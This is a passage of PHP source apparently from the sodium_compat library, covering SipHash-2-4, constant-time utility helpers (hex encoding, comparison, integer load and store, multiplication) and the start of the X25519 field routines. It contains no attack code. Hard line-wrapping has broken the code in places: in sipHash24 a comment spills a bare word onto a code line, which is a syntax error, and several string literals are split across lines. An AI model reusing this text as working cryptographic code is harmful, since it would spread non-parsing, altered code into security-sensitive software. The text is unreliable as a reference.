        list($v[6], $v[7]) = self::rotl_64((int) $v[6], (int) $v[7], 21);

        # v3 ^= v0;
        $v[6] ^= $v[0];
        $v[7] ^= $v[1];

        # v2 += v1;
        list($v[4], $v[5]) = self::add(
            array((int) $v[4], (int) $v[5]),
            array((int) $v[2], (int) $v[3])
        );

        # v1=ROTL(v1,17);
        list($v[2], $v[3]) = self::rotl_64((int) $v[2], (int) $v[3], 17);

        #  v1 ^= v2;;
        $v[2] ^= $v[4];
        $v[3] ^= $v[5];

        # v2=ROTL(v2,32)
        list($v[4], $v[5]) = self::rotl_64((int) $v[4], (int) $v[5], 32);

        return $v;
    }

    /**
     * Add two 32 bit integers representing a 64-bit integer.
     *
     * @internal You should not use this directly from another application
     *
     * @param int[] $a
     * @param int[] $b
     * @return array<int, mixed>
     */
    public static function add(array $a, array $b)
    {
        /** @var int $x1 */
        $x1 = $a[1] + $b[1];
        /** @var int $c */
        $c = $x1 >> 32; // Carry if ($a + $b) > 0xffffffff
        /** @var int $x0 */
        $x0 = $a[0] + $b[0] + $c;
        return array(
            $x0 & 0xffffffff,
            $x1 & 0xffffffff
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $int0
     * @param int $int1
     * @param int $c
     * @return array<int, mixed>
     */
    public static function rotl_64($int0, $int1, $c)
    {
        $int0 &= 0xffffffff;
        $int1 &= 0xffffffff;
        $c &= 63;
        if ($c === 32) {
            return array($int1, $int0);
        }
        if ($c > 31) {
            $tmp = $int1;
            $int1 = $int0;
            $int0 = $tmp;
            $c &= 31;
        }
        if ($c === 0) {
            return array($int0, $int1);
        }
        return array(
            0xffffffff & (
                ($int0 << $c)
                    |
                ($int1 >> (32 - $c))
            ),
            0xffffffff & (
                ($int1 << $c)
                    |
                ($int0 >> (32 - $c))
            ),
        );
    }

    /**
     * Implements Siphash-2-4 using only 32-bit numbers.
     *
     * When we split an int into two, the higher bits go to the lower
index.
     * e.g. 0xDEADBEEFAB10C92D becomes [
     *     0 => 0xDEADBEEF,
     *     1 => 0xAB10C92D
     * ].
     *
     * @internal You should not use this directly from another application
     *
     * @param string $in
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sipHash24($in, $key)
    {
        $inlen = self::strlen($in);

        # /* "somepseudorandomlygeneratedbytes" */
        # u64 v0 = 0x736f6d6570736575ULL;
        # u64 v1 = 0x646f72616e646f6dULL;
        # u64 v2 = 0x6c7967656e657261ULL;
        # u64 v3 = 0x7465646279746573ULL;
        $v = array(
            0x736f6d65, // 0
            0x70736575, // 1
            0x646f7261, // 2
            0x6e646f6d, // 3
            0x6c796765, // 4
            0x6e657261, // 5
            0x74656462, // 6
            0x79746573  // 7
        );
        // v0 => $v[0], $v[1]
        // v1 => $v[2], $v[3]
        // v2 => $v[4], $v[5]
        // v3 => $v[6], $v[7]

        # u64 k0 = LOAD64_LE( k );
        # u64 k1 = LOAD64_LE( k + 8 );
        $k = array(
            self::load_4(self::substr($key, 4, 4)),
            self::load_4(self::substr($key, 0, 4)),
            self::load_4(self::substr($key, 12, 4)),
            self::load_4(self::substr($key, 8, 4))
        );
        // k0 => $k[0], $k[1]
        // k1 => $k[2], $k[3]

        # b = ( ( u64 )inlen ) << 56;
        $b = array(
            $inlen << 24,
            0
        );
        // See docblock for why the 0th index gets the higher bits.

        # v3 ^= k1;
        $v[6] ^= $k[2];
        $v[7] ^= $k[3];
        # v2 ^= k0;
        $v[4] ^= $k[0];
        $v[5] ^= $k[1];
        # v1 ^= k1;
        $v[2] ^= $k[2];
        $v[3] ^= $k[3];
        # v0 ^= k0;
        $v[0] ^= $k[0];
        $v[1] ^= $k[1];

        $left = $inlen;
        # for ( ; in != end; in += 8 )
        while ($left >= 8) {
            # m = LOAD64_LE( in );
            $m = array(
                self::load_4(self::substr($in, 4, 4)),
                self::load_4(self::substr($in, 0, 4))
            );

            # v3 ^= m;
            $v[6] ^= $m[0];
            $v[7] ^= $m[1];

            # SIPROUND;
            # SIPROUND;
            $v = self::sipRound($v);
            $v = self::sipRound($v);

            # v0 ^= m;
            $v[0] ^= $m[0];
            $v[1] ^= $m[1];

            $in = self::substr($in, 8);
            $left -= 8;
        }

        # switch( left )
        #  {
        #     case 7: b |= ( ( u64 )in[ 6] )  << 48;
        #     case 6: b |= ( ( u64 )in[ 5] )  << 40;
        #     case 5: b |= ( ( u64 )in[ 4] )  << 32;
        #     case 4: b |= ( ( u64 )in[ 3] )  << 24;
        #     case 3: b |= ( ( u64 )in[ 2] )  << 16;
        #     case 2: b |= ( ( u64 )in[ 1] )  <<  8;
        #     case 1: b |= ( ( u64 )in[ 0] ); break;
        #     case 0: break;
        # }
        switch ($left) {
            case 7:
                $b[0] |= self::chrToInt($in[6]) << 16;
            case 6:
                $b[0] |= self::chrToInt($in[5]) << 8;
            case 5:
                $b[0] |= self::chrToInt($in[4]);
            case 4:
                $b[1] |= self::chrToInt($in[3]) << 24;
            case 3:
                $b[1] |= self::chrToInt($in[2]) << 16;
            case 2:
                $b[1] |= self::chrToInt($in[1]) << 8;
            case 1:
                $b[1] |= self::chrToInt($in[0]);
            case 0:
                break;
        }
        // See docblock for why the 0th index gets the higher bits.

        # v3 ^= b;
        $v[6] ^= $b[0];
        $v[7] ^= $b[1];

        # SIPROUND;
        # SIPROUND;
        $v = self::sipRound($v);
        $v = self::sipRound($v);

        # v0 ^= b;
        $v[0] ^= $b[0];
        $v[1] ^= $b[1];

        // Flip the lower 8 bits of v2 which is ($v[4], $v[5]) in our
implementation
        # v2 ^= 0xff;
        $v[5] ^= 0xff;

        # SIPROUND;
        # SIPROUND;
        # SIPROUND;
        # SIPROUND;
        $v = self::sipRound($v);
        $v = self::sipRound($v);
        $v = self::sipRound($v);
        $v = self::sipRound($v);

        # b = v0 ^ v1 ^ v2 ^ v3;
        # STORE64_LE( out, b );
        return  self::store32_le($v[1] ^ $v[3] ^ $v[5] ^ $v[7]) .
            self::store32_le($v[0] ^ $v[2] ^ $v[4] ^ $v[6]);
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core_Util', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_Util
 */
abstract class ParagonIE_Sodium_Core_Util
{
    /**
     * @param int $integer
     * @param int $size (16, 32, 64)
     * @return int
     */
    public static function abs($integer, $size = 0)
    {
        /** @var int $realSize */
        $realSize = (PHP_INT_SIZE << 3) - 1;
        if ($size) {
            --$size;
        } else {
            /** @var int $size */
            $size = $realSize;
        }

        $negative = -(($integer >> $size) & 1);
        return (int) (
            ($integer ^ $negative)
                +
            (($negative >> $realSize) & 1)
        );
    }

    /**
     * Convert a binary string into a hexadecimal string without
cache-timing
     * leaks
     *
     * @internal You should not use this directly from another application
     *
     * @param string $binaryString (raw binary)
     * @return string
     * @throws TypeError
     */
    public static function bin2hex($binaryString)
    {
        /* Type checks: */
        if (!is_string($binaryString)) {
            throw new TypeError('Argument 1 must be a string, ' .
gettype($binaryString) . ' given.');
        }

        $hex = '';
        $len = self::strlen($binaryString);
        for ($i = 0; $i < $len; ++$i) {
            /** @var array<int, int> $chunk */
            $chunk = unpack('C', $binaryString[$i]);
            /** @var int $c */
            $c = $chunk[1] & 0xf;
            /** @var int $b */
            $b = $chunk[1] >> 4;
            $hex .= pack(
                'CC',
                (87 + $b + ((($b - 10) >> 8) & ~38)),
                (87 + $c + ((($c - 10) >> 8) & ~38))
            );
        }
        return $hex;
    }

    /**
     * Convert a binary string into a hexadecimal string without
cache-timing
     * leaks, returning uppercase letters (as per RFC 4648)
     *
     * @internal You should not use this directly from another application
     *
     * @param string $bin_string (raw binary)
     * @return string
     * @throws TypeError
     */
    public static function bin2hexUpper($bin_string)
    {
        $hex = '';
        $len = self::strlen($bin_string);
        for ($i = 0; $i < $len; ++$i) {
            /** @var array<int, int> $chunk */
            $chunk = unpack('C', $bin_string[$i]);
            /**
             * Lower 16 bits
             *
             * @var int $c
             */
            $c = $chunk[1] & 0xf;

            /**
             * Upper 16 bits
             * @var int $b
             */
            $b = $chunk[1] >> 4;

            /**
             * Use pack() and binary operators to turn the two integers
             * into hexadecimal characters. We don't use chr() here,
because
             * it uses a lookup table internally and we want to avoid
             * cache-timing side-channels.
             */
            $hex .= pack(
                'CC',
                (55 + $b + ((($b - 10) >> 8) & ~6)),
                (55 + $c + ((($c - 10) >> 8) & ~6))
            );
        }
        return $hex;
    }

    /**
     * Cache-timing-safe variant of ord()
     *
     * @internal You should not use this directly from another application
     *
     * @param string $chr
     * @return int
     * @throws SodiumException
     * @throws TypeError
     */
    public static function chrToInt($chr)
    {
        /* Type checks: */
        if (!is_string($chr)) {
            throw new TypeError('Argument 1 must be a string, ' .
gettype($chr) . ' given.');
        }
        if (self::strlen($chr) !== 1) {
            throw new SodiumException('chrToInt() expects a string
that is exactly 1 character long');
        }
        /** @var array<int, int> $chunk */
        $chunk = unpack('C', $chr);
        return (int) ($chunk[1]);
    }

    /**
     * Compares two strings.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $left
     * @param string $right
     * @param int $len
     * @return int
     * @throws SodiumException
     * @throws TypeError
     */
    public static function compare($left, $right, $len = null)
    {
        $leftLen = self::strlen($left);
        $rightLen = self::strlen($right);
        if ($len === null) {
            $len = max($leftLen, $rightLen);
            $left = str_pad($left, $len, "\x00", STR_PAD_RIGHT);
            $right = str_pad($right, $len, "\x00",
STR_PAD_RIGHT);
        }

        $gt = 0;
        $eq = 1;
        $i = $len;
        while ($i !== 0) {
            --$i;
            $gt |= ((self::chrToInt($right[$i]) -
self::chrToInt($left[$i])) >> 8) & $eq;
            $eq &= ((self::chrToInt($right[$i]) ^
self::chrToInt($left[$i])) - 1) >> 8;
        }
        return ($gt + $gt + $eq) - 1;
    }

    /**
     * If a variable does not match a given type, throw a TypeError.
     *
     * @param mixed $mixedVar
     * @param string $type
     * @param int $argumentIndex
     * @throws TypeError
     * @throws SodiumException
     * @return void
     */
    public static function declareScalarType(&$mixedVar = null, $type =
'void', $argumentIndex = 0)
    {
        if (func_num_args() === 0) {
            /* Tautology, by default */
            return;
        }
        if (func_num_args() === 1) {
            throw new TypeError('Declared void, but passed a
variable');
        }
        $realType = strtolower(gettype($mixedVar));
        $type = strtolower($type);
        switch ($type) {
            case 'null':
                if ($mixedVar !== null) {
                    throw new TypeError('Argument ' .
$argumentIndex . ' must be null, ' . $realType . '
given.');
                }
                break;
            case 'integer':
            case 'int':
                $allow = array('int', 'integer');
                if (!in_array($type, $allow)) {
                    throw new TypeError('Argument ' .
$argumentIndex . ' must be an integer, ' . $realType . '
given.');
                }
                $mixedVar = (int) $mixedVar;
                break;
            case 'boolean':
            case 'bool':
                $allow = array('bool', 'boolean');
                if (!in_array($type, $allow)) {
                    throw new TypeError('Argument ' .
$argumentIndex . ' must be a boolean, ' . $realType . '
given.');
                }
                $mixedVar = (bool) $mixedVar;
                break;
            case 'string':
                if (!is_string($mixedVar)) {
                    throw new TypeError('Argument ' .
$argumentIndex . ' must be a string, ' . $realType . '
given.');
                }
                $mixedVar = (string) $mixedVar;
                break;
            case 'decimal':
            case 'double':
            case 'float':
                $allow = array('decimal', 'double',
'float');
                if (!in_array($type, $allow)) {
                    throw new TypeError('Argument ' .
$argumentIndex . ' must be a float, ' . $realType . '
given.');
                }
                $mixedVar = (float) $mixedVar;
                break;
            case 'object':
                if (!is_object($mixedVar)) {
                    throw new TypeError('Argument ' .
$argumentIndex . ' must be an object, ' . $realType . '
given.');
                }
                break;
            case 'array':
                if (!is_array($mixedVar)) {
                    if (is_object($mixedVar)) {
                        if ($mixedVar instanceof ArrayAccess) {
                            return;
                        }
                    }
                    throw new TypeError('Argument ' .
$argumentIndex . ' must be an array, ' . $realType . '
given.');
                }
                break;
            default:
                throw new SodiumException('Unknown type (' .
$realType .') does not match expect type (' . $type .
')');
        }
    }

    /**
     * Evaluate whether or not two strings are equal (in constant-time)
     *
     * @param string $left
     * @param string $right
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function hashEquals($left, $right)
    {
        /* Type checks: */
        if (!is_string($left)) {
            throw new TypeError('Argument 1 must be a string, ' .
gettype($left) . ' given.');
        }
        if (!is_string($right)) {
            throw new TypeError('Argument 2 must be a string, ' .
gettype($right) . ' given.');
        }

        if (is_callable('hash_equals')) {
            return hash_equals($left, $right);
        }
        $d = 0;
        /** @var int $len */
        $len = self::strlen($left);
        if ($len !== self::strlen($right)) {
            return false;
        }
        for ($i = 0; $i < $len; ++$i) {
            $d |= self::chrToInt($left[$i]) ^ self::chrToInt($right[$i]);
        }

        if ($d !== 0) {
            return false;
        }
        return $left === $right;
    }

    /**
     * Convert a hexadecimal string into a binary string without
cache-timing
     * leaks
     *
     * @internal You should not use this directly from another application
     *
     * @param string $hexString
     * @param bool $strictPadding
     * @return string (raw binary)
     * @throws RangeException
     * @throws TypeError
     */
    public static function hex2bin($hexString, $strictPadding = false)
    {
        /* Type checks: */
        if (!is_string($hexString)) {
            throw new TypeError('Argument 1 must be a string, ' .
gettype($hexString) . ' given.');
        }

        /** @var int $hex_pos */
        $hex_pos = 0;
        /** @var string $bin */
        $bin = '';
        /** @var int $c_acc */
        $c_acc = 0;
        /** @var int $hex_len */
        $hex_len = self::strlen($hexString);
        /** @var int $state */
        $state = 0;
        if (($hex_len & 1) !== 0) {
            if ($strictPadding) {
                throw new RangeException(
                    'Expected an even number of hexadecimal
characters'
                );
            } else {
                $hexString = '0' . $hexString;
                ++$hex_len;
            }
        }

        $chunk = unpack('C*', $hexString);
        while ($hex_pos < $hex_len) {
            ++$hex_pos;
            /** @var int $c */
            $c = $chunk[$hex_pos];
            /** @var int $c_num */
            $c_num = $c ^ 48;
            /** @var int $c_num0 */
            $c_num0 = ($c_num - 10) >> 8;
            /** @var int $c_alpha */
            $c_alpha = ($c & ~32) - 55;
            /** @var int $c_alpha0 */
            $c_alpha0 = (($c_alpha - 10) ^ ($c_alpha - 16)) >> 8;
            if (($c_num0 | $c_alpha0) === 0) {
                throw new RangeException(
                    'hex2bin() only expects hexadecimal
characters'
                );
            }
            /** @var int $c_val */
            $c_val = ($c_num0 & $c_num) | ($c_alpha & $c_alpha0);
            if ($state === 0) {
                $c_acc = $c_val * 16;
            } else {
                $bin .= pack('C', $c_acc | $c_val);
            }
            $state ^= 1;
        }
        return $bin;
    }

    /**
     * Turn an array of integers into a string
     *
     * @internal You should not use this directly from another application
     *
     * @param array<int, int> $ints
     * @return string
     */
    public static function intArrayToString(array $ints)
    {
        /** @var array<int, int> $args */
        $args = $ints;
        foreach ($args as $i => $v) {
            $args[$i] = (int) ($v & 0xff);
        }
        array_unshift($args, str_repeat('C', count($ints)));
        return (string) (call_user_func_array('pack', $args));
    }

    /**
     * Cache-timing-safe variant of ord()
     *
     * @internal You should not use this directly from another application
     *
     * @param int $int
     * @return string
     * @throws TypeError
     */
    public static function intToChr($int)
    {
        return pack('C', $int);
    }

    /**
     * Load a 3 character substring into an integer
     *
     * @internal You should not use this directly from another application
     *
     * @param string $string
     * @return int
     * @throws RangeException
     * @throws TypeError
     */
    public static function load_3($string)
    {
        /* Type checks: */
        if (!is_string($string)) {
            throw new TypeError('Argument 1 must be a string, ' .
gettype($string) . ' given.');
        }

        /* Input validation: */
        if (self::strlen($string) < 3) {
            throw new RangeException(
                'String must be 3 bytes or more; ' .
self::strlen($string) . ' given.'
            );
        }
        /** @var array<int, int> $unpacked */
        $unpacked = unpack('V', $string . "\0");
        return (int) ($unpacked[1] & 0xffffff);
    }

    /**
     * Load a 4 character substring into an integer
     *
     * @internal You should not use this directly from another application
     *
     * @param string $string
     * @return int
     * @throws RangeException
     * @throws TypeError
     */
    public static function load_4($string)
    {
        /* Type checks: */
        if (!is_string($string)) {
            throw new TypeError('Argument 1 must be a string, ' .
gettype($string) . ' given.');
        }

        /* Input validation: */
        if (self::strlen($string) < 4) {
            throw new RangeException(
                'String must be 4 bytes or more; ' .
self::strlen($string) . ' given.'
            );
        }
        /** @var array<int, int> $unpacked */
        $unpacked = unpack('V', $string);
        return (int) ($unpacked[1] & 0xffffffff);
    }

    /**
     * Load a 8 character substring into an integer
     *
     * @internal You should not use this directly from another application
     *
     * @param string $string
     * @return int
     * @throws RangeException
     * @throws SodiumException
     * @throws TypeError
     */
    public static function load64_le($string)
    {
        /* Type checks: */
        if (!is_string($string)) {
            throw new TypeError('Argument 1 must be a string, ' .
gettype($string) . ' given.');
        }

        /* Input validation: */
        if (self::strlen($string) < 4) {
            throw new RangeException(
                'String must be 4 bytes or more; ' .
self::strlen($string) . ' given.'
            );
        }
        if (PHP_VERSION_ID >= 50603 && PHP_INT_SIZE === 8) {
            /** @var array<int, int> $unpacked */
            $unpacked = unpack('P', $string);
            return (int) $unpacked[1];
        }

        /** @var int $result */
        $result  = (self::chrToInt($string[0]) & 0xff);
        $result |= (self::chrToInt($string[1]) & 0xff) <<  8;
        $result |= (self::chrToInt($string[2]) & 0xff) << 16;
        $result |= (self::chrToInt($string[3]) & 0xff) << 24;
        $result |= (self::chrToInt($string[4]) & 0xff) << 32;
        $result |= (self::chrToInt($string[5]) & 0xff) << 40;
        $result |= (self::chrToInt($string[6]) & 0xff) << 48;
        $result |= (self::chrToInt($string[7]) & 0xff) << 56;
        return (int) $result;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $left
     * @param string $right
     * @return int
     * @throws SodiumException
     * @throws TypeError
     */
    public static function memcmp($left, $right)
    {
        if (self::hashEquals($left, $right)) {
            return 0;
        }
        return -1;
    }

    /**
     * Multiply two integers in constant-time
     *
     * Micro-architecture timing side-channels caused by how your CPU
     * implements multiplication are best prevented by never using the
     * multiplication operators and ensuring that our code always takes
     * the same number of operations to complete, regardless of the values
     * of $a and $b.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $a
     * @param int $b
     * @param int $size Limits the number of operations (useful for small,
     *                  constant operands)
     * @return int
     */
    public static function mul($a, $b, $size = 0)
    {
        if (ParagonIE_Sodium_Compat::$fastMult) {
            return (int) ($a * $b);
        }

        static $defaultSize = null;
        /** @var int $defaultSize */
        if (!$defaultSize) {
            /** @var int $defaultSize */
            $defaultSize = (PHP_INT_SIZE << 3) - 1;
        }
        if ($size < 1) {
            /** @var int $size */
            $size = $defaultSize;
        }
        /** @var int $size */

        $c = 0;

        /**
         * Mask is either -1 or 0.
         *
         * -1 in binary looks like 0x1111 ... 1111
         *  0 in binary looks like 0x0000 ... 0000
         *
         * @var int
         */
        $mask = -(($b >> ((int) $defaultSize)) & 1);

        /**
         * Ensure $b is a positive integer, without creating
         * a branching side-channel
         *
         * @var int $b
         */
        $b = ($b & ~$mask) | ($mask & -$b);

        /**
         * Unless $size is provided:
         *
         * This loop always runs 32 times when PHP_INT_SIZE is 4.
         * This loop always runs 64 times when PHP_INT_SIZE is 8.
         */
        for ($i = $size; $i >= 0; --$i) {
            $c += (int) ($a & -($b & 1));
            $a <<= 1;
            $b >>= 1;
        }

        /**
         * If $b was negative, we then apply the same value to $c here.
         * It doesn't matter much if $a was negative; the $c += above
would
         * have produced a negative integer to begin with. But a negative
$b
         * makes $b >>= 1 never return 0, so we would end up with
incorrect
         * results.
         *
         * The end result is what we'd expect from integer
multiplication.
         */
        return (int) (($c & ~$mask) | ($mask & -$c));
    }

    /**
     * Convert any arbitrary numbers into two 32-bit integers that
represent
     * a 64-bit integer.
     *
     * @internal You should not use this directly from another application
     *
     * @param int|float $num
     * @return array<int, int>
     */
    public static function numericTo64BitInteger($num)
    {
        $high = 0;
        /** @var int $low */
        $low = $num & 0xffffffff;

        if ((+(abs($num))) >= 1) {
            if ($num > 0) {
                /** @var int $high */
                $high = min((+(floor($num/4294967296))), 4294967295);
            } else {
                /** @var int $high */
                $high = ~~((+(ceil(($num - (+((~~($num)))))/4294967296))));
            }
        }
        return array((int) $high, (int) $low);
    }

    /**
     * Store a 24-bit integer into a string, treating it as big-endian.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $int
     * @return string
     * @throws TypeError
     */
    public static function store_3($int)
    {
        /* Type checks: */
        if (!is_int($int)) {
            if (is_numeric($int)) {
                $int = (int) $int;
            } else {
                throw new TypeError('Argument 1 must be an integer,
' . gettype($int) . ' given.');
            }
        }
        /** @var string $packed */
        $packed = pack('N', $int);
        return self::substr($packed, 1, 3);
    }

    /**
     * Store a 32-bit integer into a string, treating it as little-endian.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $int
     * @return string
     * @throws TypeError
     */
    public static function store32_le($int)
    {
        /* Type checks: */
        if (!is_int($int)) {
            if (is_numeric($int)) {
                $int = (int) $int;
            } else {
                throw new TypeError('Argument 1 must be an integer,
' . gettype($int) . ' given.');
            }
        }

        /** @var string $packed */
        $packed = pack('V', $int);
        return $packed;
    }

    /**
     * Store a 32-bit integer into a string, treating it as big-endian.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $int
     * @return string
     * @throws TypeError
     */
    public static function store_4($int)
    {
        /* Type checks: */
        if (!is_int($int)) {
            if (is_numeric($int)) {
                $int = (int) $int;
            } else {
                throw new TypeError('Argument 1 must be an integer,
' . gettype($int) . ' given.');
            }
        }

        /** @var string $packed */
        $packed = pack('N', $int);
        return $packed;
    }

    /**
     * Stores a 64-bit integer as an string, treating it as little-endian.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $int
     * @return string
     * @throws TypeError
     */
    public static function store64_le($int)
    {
        /* Type checks: */
        if (!is_int($int)) {
            if (is_numeric($int)) {
                $int = (int) $int;
            } else {
                throw new TypeError('Argument 1 must be an integer,
' . gettype($int) . ' given.');
            }
        }

        if (PHP_INT_SIZE === 8) {
            if (PHP_VERSION_ID >= 50603) {
                /** @var string $packed */
                $packed = pack('P', $int);
                return $packed;
            }
            return self::intToChr($int & 0xff) .
                self::intToChr(($int >>  8) & 0xff) .
                self::intToChr(($int >> 16) & 0xff) .
                self::intToChr(($int >> 24) & 0xff) .
                self::intToChr(($int >> 32) & 0xff) .
                self::intToChr(($int >> 40) & 0xff) .
                self::intToChr(($int >> 48) & 0xff) .
                self::intToChr(($int >> 56) & 0xff);
        }
        if ($int > PHP_INT_MAX) {
            list($hiB, $int) = self::numericTo64BitInteger($int);
        } else {
            $hiB = 0;
        }
        return
            self::intToChr(($int      ) & 0xff) .
            self::intToChr(($int >>  8) & 0xff) .
            self::intToChr(($int >> 16) & 0xff) .
            self::intToChr(($int >> 24) & 0xff) .
            self::intToChr($hiB & 0xff) .
            self::intToChr(($hiB >>  8) & 0xff) .
            self::intToChr(($hiB >> 16) & 0xff) .
            self::intToChr(($hiB >> 24) & 0xff);
    }

    /**
     * Safe string length
     *
     * @internal You should not use this directly from another application
     *
     * @ref mbstring.func_overload
     *
     * @param string $str
     * @return int
     * @throws TypeError
     */
    public static function strlen($str)
    {
        /* Type checks: */
        if (!is_string($str)) {
            throw new TypeError('String expected');
        }

        return (int) (
        self::isMbStringOverride()
            ? mb_strlen($str, '8bit')
            : strlen($str)
        );
    }

    /**
     * Turn a string into an array of integers
     *
     * @internal You should not use this directly from another application
     *
     * @param string $string
     * @return array<int, int>
     * @throws TypeError
     */
    public static function stringToIntArray($string)
    {
        if (!is_string($string)) {
            throw new TypeError('String expected');
        }
        /**
         * @var array<int, int>
         */
        $values = array_values(
            unpack('C*', $string)
        );
        return $values;
    }

    /**
     * Safe substring
     *
     * @internal You should not use this directly from another application
     *
     * @ref mbstring.func_overload
     *
     * @param string $str
     * @param int $start
     * @param int $length
     * @return string
     * @throws TypeError
     */
    public static function substr($str, $start = 0, $length = null)
    {
        /* Type checks: */
        if (!is_string($str)) {
            throw new TypeError('String expected');
        }

        if ($length === 0) {
            return '';
        }

        if (self::isMbStringOverride()) {
            if (PHP_VERSION_ID < 50400 && $length === null) {
                $length = self::strlen($str);
            }
            $sub = (string) mb_substr($str, $start, $length,
'8bit');
        } elseif ($length === null) {
            $sub = (string) substr($str, $start);
        } else {
            $sub = (string) substr($str, $start, $length);
        }
        if (isset($sub)) {
            return $sub;
        }
        return '';
    }

    /**
     * Compare a 16-character byte string in constant time.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $a
     * @param string $b
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function verify_16($a, $b)
    {
        /* Type checks: */
        if (!is_string($a)) {
            throw new TypeError('String expected');
        }
        if (!is_string($b)) {
            throw new TypeError('String expected');
        }
        return self::hashEquals(
            self::substr($a, 0, 16),
            self::substr($b, 0, 16)
        );
    }

    /**
     * Compare a 32-character byte string in constant time.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $a
     * @param string $b
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function verify_32($a, $b)
    {
        /* Type checks: */
        if (!is_string($a)) {
            throw new TypeError('String expected');
        }
        if (!is_string($b)) {
            throw new TypeError('String expected');
        }
        return self::hashEquals(
            self::substr($a, 0, 32),
            self::substr($b, 0, 32)
        );
    }

    /**
     * Calculate $a ^ $b for two strings.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $a
     * @param string $b
     * @return string
     * @throws TypeError
     */
    public static function xorStrings($a, $b)
    {
        /* Type checks: */
        if (!is_string($a)) {
            throw new TypeError('Argument 1 must be a string');
        }
        if (!is_string($b)) {
            throw new TypeError('Argument 2 must be a string');
        }

        return (string) ($a ^ $b);
    }

    /**
     * Returns whether or not mbstring.func_overload is in effect.
     *
     * @internal You should not use this directly from another application
     *
     * @return bool
     */
    protected static function isMbStringOverride()
    {
        static $mbstring = null;

        if ($mbstring === null) {
            $mbstring = extension_loaded('mbstring')
                &&
            ((int) (ini_get('mbstring.func_overload')) &
MB_OVERLOAD_STRING);
        }
        /** @var bool $mbstring */

        return $mbstring;
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core_X25519', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_X25519
 */
abstract class ParagonIE_Sodium_Core_X25519 extends
ParagonIE_Sodium_Core_Curve25519
{
    /**
     * Alters the objects passed to this method in place.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $g
     * @param int $b
     * @return void
     * @psalm-suppress MixedAssignment
     */
    public static function fe_cswap(
        ParagonIE_Sodium_Core_Curve25519_Fe $f,
        ParagonIE_Sodium_Core_Curve25519_Fe $g,
        $b = 0
    ) {
        $f0 = (int) $f[0];
        $f1 = (int) $f[1];
        $f2 = (int) $f[2];
        $f3 = (int) $f[3];
        $f4 = (int) $f[4];
        $f5 = (int) $f[5];
        $f6 = (int) $f[6];
        $f7 = (int) $f[7];
        $f8 = (int) $f[8];
        $f9 = (int) $f[9];
        $g0 = (int) $g[0];
        $g1 = (int) $g[1];
        $g2 = (int) $g[2];
        $g3 = (int) $g[3];
        $g4 = (int) $g[4];
        $g5 = (int) $g[5];
        $g6 = (int) $g[6];
        $g7 = (int) $g[7];
        $g8 = (int) $g[8];
        $g9 = (int) $g[9];
        $b = -$b;
        $x0 = ($f0 ^ $g0) & $b;
        $x1 = ($f1 ^ $g1) & $b;
        $x2 = ($f2 ^ $g2) & $b;
        $x3 = ($f3 ^ $g3) & $b;
        $x4 = ($f4 ^ $g4) & $b;
        $x5 = ($f5 ^ $g5) & $b;
        $x6 = ($f6 ^ $g6) & $b;
        $x7 = ($f7 ^ $g7) & $b;
        $x8 = ($f8 ^ $g8) & $b;
        $x9 = ($f9 ^ $g9) & $b;
        $f[0] = $f0 ^ $x0;
        $f[1] = $f1 ^ $x1;
        $f[2] = $f2 ^ $x2;
        $f[3] = $f3 ^ $x3;
        $f[4] = $f4 ^ $x4;
        $f[5] = $f5 ^ $x5;
        $f[6] = $f6 ^ $x6;
        $f[7] = $f7 ^ $x7;
        $f[8] = $f8 ^ $x8;
        $f[9] = $f9 ^ $x9;
        $g[0] = $g0 ^ $x0;
        $g[1] = $g1 ^ $x1;
        $g[2] = $g2 ^ $x2;
        $g[3] = $g3 ^ $x3;
        $g[4] = $g4 ^ $x4;
        $g[5] = $g5 ^ $x5;
        $g[6] = $g6 ^ $x6;
        $g[7] = $g7 ^ $x7;
        $g[8] = $g8 ^ $x8;
        $g[9] = $g9 ^ $x9;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public static function fe_mul121666(ParagonIE_Sodium_Core_Curve25519_Fe
$f)
    {
        $h = array(
            self::mul((int) $f[0], 121666, 17),
            self::mul((int) $f[1], 121666, 17),
            self::mul((int) $f[2], 121666, 17),
            self::mul((int) $f[3], 121666, 17),
            self::mul((int) $f[4], 121666, 17),
            self::mul((int) $f[5], 121666, 17),
            self::mul((int) $f[6], 121666, 17),
            self::mul((int) $f[7], 121666, 17),
            self::mul((int) $f[8], 121666, 17),
            self::mul((int) $f[9], 121666, 17)
        );

        /** @var int $carry9 */
        $carry9 = ($h[9] + (1 << 24)) >> 25;
        $h[0] += self::mul($carry9, 19, 5);
        $h[9] -= $carry9 << 25;
        /** @var int $carry1 */
        $carry1 = ($h[1] + (1 << 24)) >> 25;
        $h[2] += $carry1;
        $h[1] -= $carry1 << 25;
        /** @var int $carry3 */
        $carry3 = ($h[3] + (1 << 24)) >> 25;
        $h[4] += $carry3;
        $h[3] -= $carry3 << 25;
        /** @var int $carry5 */
        $carry5 = ($h[5] + (1 << 24)) >> 25;
        $h[6] += $carry5;
        $h[5] -= $carry5 << 25;
        /** @var int $carry7 */
        $carry7 = ($h[7] + (1 << 24)) >> 25;
        $h[8] += $carry7;
        $h[7] -= $carry7 << 25;

        /** @var int $carry0 */
        $carry0 = ($h[0] + (1 << 25)) >> 26;
        $h[1] += $carry0;
        $h[0] -= $carry0 << 26;
